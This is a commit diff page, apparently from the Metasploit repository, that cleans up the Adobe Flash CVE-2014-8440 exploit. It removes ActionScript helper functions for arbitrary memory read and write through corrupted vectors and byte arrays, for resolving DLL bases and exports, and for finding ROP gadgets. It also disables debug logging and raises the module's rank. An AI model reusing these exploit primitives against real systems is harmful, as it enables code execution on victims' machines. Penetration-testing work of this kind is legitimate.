Skip to content

Commit e5d6c9a

Browse files
committed
Make last code cleanup
1 parent d9db456 commit e5d6c9a

File tree

4 files changed

+2
-141
lines changed

4 files changed

+2
-141
lines changed

data/exploits/CVE-2014-8440/msf.swf

-511 Bytes
Binary file not shown.

external/source/exploits/CVE-2014-8440/Exploit.as

Lines changed: 0 additions & 139 deletions
Original file line numberDiff line numberDiff line change
@@ -277,144 +277,5 @@ package
277277
}
278278
return 0xffffffff
279279
}
280-
281-
// Use the corrupted shared_ba to disclose its own address
282-
private function search_ba_address():uint {
283-
var address:uint = 0
284-
this.shared_ba.position = 0x14
285-
address = shared_ba.readUnsignedInt()
286-
if (address == 0) {
287-
address = 0xffffffff
288-
this.shared_ba.position = 8
289-
var next:uint = shared_ba.readUnsignedInt()
290-
var prior:uint = shared_ba.readUnsignedInt()
291-
if (next - prior == 0x8000) {
292-
address = prior + 0x4000
293-
}
294-
} else {
295-
address = address - 0x30
296-
}
297-
298-
return address
299-
}
300-
301-
// Use the corrupted uint vector to search an vector with
302-
// interesting objects for info leaking
303-
private function search_object_vector():uint {
304-
var i:uint = 0;
305-
while (i < 0x4000){
306-
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
307-
return i + 1;
308-
}
309-
i++
310-
}
311-
return 0xffffffff
312-
}
313-
314-
// Methods to use the corrupted uint vector
315-
316-
private function vector_write(addr:uint, value:uint = 0):void
317-
{
318-
var pos:uint = 0
319-
320-
if (addr > this.uv[0]) {
321-
pos = ((addr - this.uv[0]) / 4) - 2
322-
} else {
323-
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
324-
}
325-
326-
this.uv[pos] = value
327-
}
328-
329-
private function vector_read(addr:uint):uint
330-
{
331-
var pos:uint = 0
332-
333-
if (addr > this.uv[0]) {
334-
pos = ((addr - this.uv[0]) / 4) - 2
335-
} else {
336-
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
337-
}
338-
339-
return this.uv[pos]
340-
}
341-
342-
// Methods to use the corrupted byte array for arbitrary reading/writing
343-
344-
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
345-
{
346-
if (addr) ba.position = addr
347-
if (value is String) {
348-
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
349-
if (zero) ba.writeByte(0)
350-
} else ba.writeUnsignedInt(value)
351-
}
352-
353-
private function byte_read(addr:uint, type:String = "dword"):uint
354-
{
355-
ba.position = addr
356-
switch(type) {
357-
case "dword":
358-
return ba.readUnsignedInt()
359-
case "word":
360-
return ba.readUnsignedShort()
361-
case "byte":
362-
return ba.readUnsignedByte()
363-
}
364-
return 0
365-
}
366-
367-
// Methods to search the memory with the corrupted byte array
368-
369-
private function base(addr:uint):uint
370-
{
371-
addr &= 0xffff0000
372-
while (true) {
373-
if (byte_read(addr) == 0x00905a4d) return addr
374-
addr -= 0x10000
375-
}
376-
return 0
377-
}
378-
379-
private function module(name:String, addr:uint):uint
380-
{
381-
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
382-
var i:int = -1
383-
while (true) {
384-
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
385-
if (!entry) throw new Error("FAIL!");
386-
ba.position = addr + entry
387-
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
388-
if (dll_name == name.toUpperCase()) {
389-
break;
390-
}
391-
}
392-
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
393-
}
394-
395-
private function procedure(name:String, addr:uint):uint
396-
{
397-
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
398-
var numberOfNames:uint = byte_read(eat + 0x18)
399-
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
400-
var addressOfNames:uint = addr + byte_read(eat + 0x20)
401-
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
402-
403-
for (var i:uint = 0; ; i++) {
404-
var entry:uint = byte_read(addressOfNames + i * 4)
405-
ba.position = addr + entry
406-
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
407-
}
408-
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
409-
}
410-
411-
private function gadget(gadget:String, hint:uint, addr:uint):uint
412-
{
413-
var find:uint = 0
414-
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
415-
var value:uint = parseInt(gadget, 16)
416-
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
417-
return addr + i
418-
}
419280
}
420281
}

external/source/exploits/CVE-2014-8440/Logger.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package
33
import flash.external.ExternalInterface
44

55
public class Logger {
6-
private static const DEBUG:uint = 1
6+
private static const DEBUG:uint = 0
77

88
public static function alert(msg:String):void
99
{

modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uninitialized.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = NormalRanking
9+
Rank = GoodRanking
1010

1111
include Msf::Exploit::Remote::BrowserExploitServer
1212

0 commit comments

Comments
 (0)